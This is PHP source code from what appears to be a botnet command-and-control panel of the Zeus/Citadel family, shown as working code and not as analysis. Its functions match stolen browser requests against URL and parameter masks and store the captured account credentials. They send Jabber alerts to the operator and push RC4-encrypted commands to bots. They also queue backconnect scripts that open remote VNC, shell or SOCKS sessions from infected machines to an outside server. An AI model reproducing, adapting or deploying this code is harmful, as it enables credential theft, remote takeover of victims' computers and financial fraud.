/** Parse accounts * 0. Only BLT_HTTP_REQUEST & BLT_HTTPS_REQUEST against $list[SBCID_BOTLOG_TYPE] * 1. If Match URL masks against $list[SBCID_PATH_SOURCE] * 2. If Match params mask against $list[SBCID_BOTLOG] * 3. Store into the DB (no dups) * 4. Autoconnect VNC|SOCKS when set * 5. Jabber-notify if configured */ function accparseplugin_parselog($list, $botId) { /* Only for HTTP[S] */ $type = toInt($list[SBCID_BOTLOG_TYPE]); if ($type != BLT_HTTP_REQUEST && $type != BLT_HTTPS_REQUEST) { return; } /* Match the URL */ $matched_rule = null; $R = mysql_query('SELECT * FROM `accparse_rules` WHERE `enabled`=1 ORDER BY NULL;'); while ($R && !is_bool($r = mysql_fetch_assoc($R))) { $wildcart = '~^' . str_replace('\\*', '.*', preg_quote(trim($r['url']), '~')) . '$~i'; if (preg_match($wildcart, $list[SBCID_PATH_SOURCE])) { $matched_rule = $r; mysql_free_result($R); break; } } if (is_null($matched_rule)) { return; } GateLog::get()->log(GateLog::L_TRACE, 'plugin.accparse', 'Rule matched: ' . $matched_rule['alias']); /* Match the params */ $matched_params = array(); foreach (explode("\n", $matched_rule['params']) as $param) { $param = rtrim(trim($param), '='); $wildcart = '~^(' . str_replace('\\*', '.*', preg_quote($param, '~')) . ')=(.+)$~ium'; if (preg_match_all($wildcart, $list[SBCID_BOTLOG], $matches, PREG_SET_ORDER)) { foreach ($matches as $m) { $matched_params[urldecode($m[1])] = urldecode($m[2]); } } } if (count($matched_params) == 0) { return; } GateLog::get()->log(GateLog::L_TRACE, 'plugin.accparse', 'Rule params also matched: ' . count($matched_params)); /* String-format */ $matched_account = ''; asort($matched_params); foreach ($matched_params as $k => $v) { $matched_account .= "{$k}={$v}\n"; } /* Store */ $q_botId = mysql_real_escape_string($botId); $q_bot_info = mysql_real_escape_string(implode("\n", array(basename($list[SBCID_PROCESS_NAME])))); $q_ruleid = $matched_rule['id']; $q_account = mysql_real_escape_string($matched_account); $q_acc_hash = md5(implode($matched_params)); $q_mtime = time(); mysql_query("INSERT INTO `accparse_accounts` VALUES(NULL, '{$q_botId}', '{$q_bot_info}', {$q_ruleid}, '{$q_account}', '{$q_acc_hash}', {$q_mtime}, 0, '') ON DUPLICATE KEY UPDATE `mtime`={$q_mtime};"); /* Dupecheck */ $affected = mysql_affected_rows(); $duplicate_account = $affected == 2; # INSERT gives 1, UPDATE gives 2. This magic should work :) GateLog::get()->log(GateLog::L_TRACE, 'plugin.accparse', 'Account ' . ($duplicate_account ? 'updated' : 'added')); /* Autoconnect option */ if ($matched_rule['autoconnect']) { if (function_exists('vncplugin_autoconnect')) { $q_protocol = $matched_rule['autoconnect']; GateLog::get()->log(GateLog::L_TRACE, 'plugin.accparse', 'Account backconnect: protocol=' . $q_protocol); mysql_query("INSERT INTO `vnc_bot_connections` VALUES('{$q_botId}', {$q_protocol}, 1, 0, 0, 0) ON DUPLICATE KEY UPDATE `protocol`={$q_protocol}, `ctime`=0, `do_connect`=IF(`do_connect`=0,1,`do_connect`);"); vncplugin_autoconnect($botId); } } /* Notify */ if ($duplicate_account) { return; } # do nothing else if ($matched_rule['notify'] && !empty($GLOBALS['config']['accparse_jid'])) { $message = sprintf("Account-Parser match: %s (URL: %s)\n", $matched_rule['alias'], $matched_rule['url']); $message .= sprintf("BotID: %s\n", $botId); $message .= sprintf("Browser: %s\n", $list[SBCID_PROCESS_NAME]); $message .= sprintf("URL: %s\n", $list[SBCID_PATH_SOURCE]); $message .= "\n"; $message .= strlen($matched_account) > 100 ? substr($matched_account, 0, 100) . "\n...(see in the admin)" : $matched_account; GateLog::get()->log(GateLog::L_TRACE, 'plugin.accparse', 'Jabber notify: ' . $GLOBALS['config']['accparse_jid']); jabber_notify($GLOBALS['config']['accparse_jid'], $message); } }
function imNotify(&$type, &$list, &$botId, $defloration = false, $wentOnline = false) { if (empty($GLOBALS['config']['reports_jn_to'])) { return; } $messages = array(); # Notify of new matching BotIDs if ($defloration) { $ml = explode("", $GLOBALS['config']['reports_jn_botmasks']); foreach ($ml as $mask) { if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $botId) > 0) { $messages[] = "Reason: botId matched\nBot ID: {$botId}\n"; break; } } } # Notify of matching BotIDs went online if ($wentOnline) { $ml = explode("", $GLOBALS['config']['reports_jn_masks']['wentOnline']); foreach ($ml as $mask) { if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $botId) > 0) { $messages[] = "Reason: botId is online\nBot ID: {$botId}\n"; break; } } } # Notify of matching report URLs if (($type == BLT_HTTP_REQUEST || $type == BLT_HTTPS_REQUEST) && !empty($list[SBCID_PATH_SOURCE])) { $ml = explode("", $GLOBALS['config']['reports_jn_list']); foreach ($ml as $mask) { if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $list[SBCID_PATH_SOURCE]) > 0) { $messages[] = "Reason: URL matched\nBot ID: {$botId}\nURL: " . $list[SBCID_PATH_SOURCE] . "\n\n" . substr($list[SBCID_BOTLOG], 0, 1024); break; } } } # Notify of matching report contexts by type # NOTE: these reports are not presented in full! Only some lines around the keyword if (!empty($list[SBCID_BOTLOG])) { $report_match = array(BLT_ANALYTICS_SOFTWARE => array('software', 'Software matched'), BLT_COMMANDLINE_RESULT => array('cmd', 'Command line result matched')); foreach ($report_match as $rm_type => $rm) { if ($type == $rm_type) { $ml = explode("", $GLOBALS['config']['reports_jn_masks'][$rm[0]]); $reason = $rm[1]; foreach (array_filter(array_map('trim', $ml), 'strlen') as $mask) { if (@preg_match('#' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '#i', $list[SBCID_BOTLOG], $m, PREG_OFFSET_CAPTURE) > 0) { # Extract a few lines around the match $surrounding_lines = 2; $match_pos = $m[0][1]; # offset of the match $n_pos = array(0); # array of \n offsets $p = 0; # current offset $p_past_npos = false; # are we past the match? while (FALSE !== ($p = strpos($list[SBCID_BOTLOG], "\n", $p))) { # all \n-s $n_pos[] = $p; # add it if ($p > $match_pos) { $p_past_npos = true; } if (!$p_past_npos && count($n_pos) > $surrounding_lines + 1) { # don't keep more than N \n-s array_shift($n_pos); } if ($p_past_npos && count($n_pos) >= ($surrounding_lines + 1) * 2) { # stop a few lines past the match break; } $p++; } $p_from = array_shift($n_pos); $p_till = array_pop($n_pos); $message_part = trim(substr($list[SBCID_BOTLOG], $p_from, $p_till - $p_from)); $messages[] = "Reason: {$reason}\nBot ID: {$botId}\n\n" . $message_part; break; } } } } } # Notify if (empty($messages)) { return; } foreach ($messages as $message) { GateLog::get()->log(GateLog::L_TRACE, 'Jabber', sprintf("Notify %s : %s", $GLOBALS['config']['reports_jn_to'], $message)); } jabber_notify($GLOBALS['config']['reports_jn_to'], $messages); # Execute scripts, if set global $country_allowed; if ($country_allowed && strlen($GLOBALS['config']['reports_jn_script']) > 0) { $eid = md5(microtime(), true); $script = 'user_execute "' . trim($GLOBALS['config']['reports_jn_script']) . '" -f'; $size = strlen($eid) + strlen($script); $replyData = pack('LLLL', 1, 0, $size, $size) . $eid . $script; $replyData = pack('LLLLLLLL', mt_rand(), mt_rand(), mt_rand(), mt_rand(), mt_rand(), HEADER_SIZE + strlen($replyData), 0, 1) . md5($replyData, true) . $replyData; visualEncrypt($replyData); rc4($replyData, $GLOBALS['globalKey']); echo $replyData; die; } }
/** Bot backconnect. * @param string $botid The bot ID to backconnect to (when have such a task) */ function vncplugin_autoconnect($botid) { if (empty($GLOBALS['config']['vnc_server'])) { return; } # Check whether we have some connection tasks $q_time_threshold = time() - VNC_RECONNECT_THRESHOLD; # don't reconnect too fast $q_botId = mysql_real_escape_string($botid); $R = mysql_query("SELECT * FROM `vnc_bot_connections` WHERE `bot_id`='{$q_botId}' AND `do_connect`<>0 AND (`ctime`<={$q_time_threshold} OR `do_connect` IN (-2,2) );"); if (!$R || mysql_num_rows($R) == 0) { return; } $connect = mysql_fetch_assoc($R); GateLog::get()->log(GateLog::L_TRACE, 'plugin.vnc', "Connecting to the bot. Protocol={$connect['protocol']}, do={$connect['do_connect']}"); # Generate the IP:PORT pairs if (empty($connect['my_port'])) { $connect['my_port'] = rand(10000, 20000 - 1); } if (empty($connect['bot_ipport'])) { $connect['bot_port'] = rand(20000, 40000); } # Connect data $c_vnc_server = $GLOBALS['config']['vnc_server']; $c_botid = urlencode($botid); $c_my_port = $connect['my_port']; $c_bot_port = $connect['bot_port']; # Reserve the port pair $context = stream_context_create(array('http' => array('header' => 'Connection: close', 'timeout' => 10))); $vnc_url = "http://{$c_vnc_server}/test.php?p1={$c_my_port}&p2={$c_bot_port}&b={$c_botid}"; if (FALSE === file_get_contents($vnc_url, 0, $context)) { return trigger_error("VNC-server connection failed: {$vnc_url}"); } # Add a script require_once 'system/lib/shortcuts.php'; $q_script_name = '?'; $q_script = "???"; $q_connection_name = '?'; switch ($connect['protocol']) { case 1: $q_connection_name = 'VNC'; $q_script = "bot_bc_add vnc {$c_vnc_server} {$c_bot_port}"; $q_script_name = 'backconnect:VNC:'; break; case 2: $q_connection_name = 'CMD'; $q_script = "bot_bc_add shell {$c_vnc_server} {$c_bot_port}"; $q_script_name = 'backconnect:CMD:'; break; case 5: $q_connection_name = 'SOCKS5'; $q_script = "bot_bc_add socks {$c_vnc_server} {$c_bot_port}"; $q_script_name = 'backconnect:SOCKS:'; break; } $q_script_name .= round(microtime(true) * 100); if (!add_simple_script($botid, $q_script_name, $q_script)) { return trigger_error("Error inserting {$q_connection_name} script: " . mysql_error(), E_USER_WARNING); } # Update connection info GateLog::get()->log(GateLog::L_DEBUG, 'plugin.vnc', "Backconnect script '{$q_script_name}' added: my={$c_vnc_server}:{$c_my_port}, bot={$c_vnc_server}:{$c_bot_port}, script={$q_script}"); if ($connect['do_connect'] >= 1) { $connect['do_connect'] = 0; } # one shot if ($connect['do_connect'] == -2) { $connect['do_connect'] = -1; } # restore 'autoconnect' state $q_ctime = time(); if (!mysql_query("UPDATE `vnc_bot_connections` SET `ctime`={$q_ctime}, `my_port`={$c_my_port}, `bot_port` = {$c_bot_port}, `do_connect`={$connect['do_connect']} WHERE `bot_id`='{$q_botId}';")) { return trigger_error('Error updating VNC connections: ' . mysql_error(), E_USER_WARNING); } # Notify if (!empty($GLOBALS['config']['vnc_notify_jid'])) { $R = mysql_query('SELECT `comment` FROM `botnet_list` WHERE `bot_id`="' . mysql_real_escape_string($botid) . '" AND `comment`<>"";'); if (mysql_num_rows($R)) { $row = mysql_fetch_row($R); $comment = array_shift($row); } GateLog::get()->log(GateLog::L_TRACE, 'plugin.vnc', "Jabber notify: " . $GLOBALS['config']['vnc_notify_jid']); $message = sprintf("New %s connection established\nBotID: %s %s\n\nConnect to: %s:%s\n", $q_connection_name, $botid, $comment ? "({$comment})" : '', $c_vnc_server, $c_my_port); jabber_notify($GLOBALS['config']['vnc_notify_jid'], $message); } }
/** Handle an incoming script execution report. * When EID starts with GP_WEBINJECTS_SCRIPT_EID, the execution report belongs to us and we handle it. * When handled, return `true` and it won't proceed to the generic script execution handler * @param string $botId * @param string $eid * @param bool $success * @param string $result * @return bool */ function gate_plugin_webinjects_onscript($botId, $eid, $success, $result) { if (strncmp($eid, GP_WEBINJECTS_SCRIPT_EID, strlen(GP_WEBINJECTS_SCRIPT_EID)) !== 0) { return false; } # Log GateLog::get()->log(GateLog::L_INFO, 'plugin.webinjects', sprintf("Webinjects load script report: success=%s, result=%s", $success, $result)); # Log the execution history $q = 'UPDATE `botnet_webinjects_history` ' . 'SET `etime`=' . time() . ', `exec_count`=COALESCE(`exec_count`,0)+1, `exec_error`=' . ($success ? 'NULL' : '"' . mysql_real_escape_string($result) . '"') . ' ' . 'WHERE `botId`="' . mysql_real_escape_string($botId) . '" ' . ';'; if (!mysql_query($q)) { return trigger_error('Error saving the webinjects execution history: ' . mysql_error(), E_USER_WARNING); } return true; }
/** die() and log where and why. * Also flushes the logs. * @return never :) */ function gate_die($place, $reason, $levelshift = 1) { GateLog::get()->log(GateLog::L_DEBUG, $place, "die({$reason})", $levelshift); GateLog::get()->flush(); die; }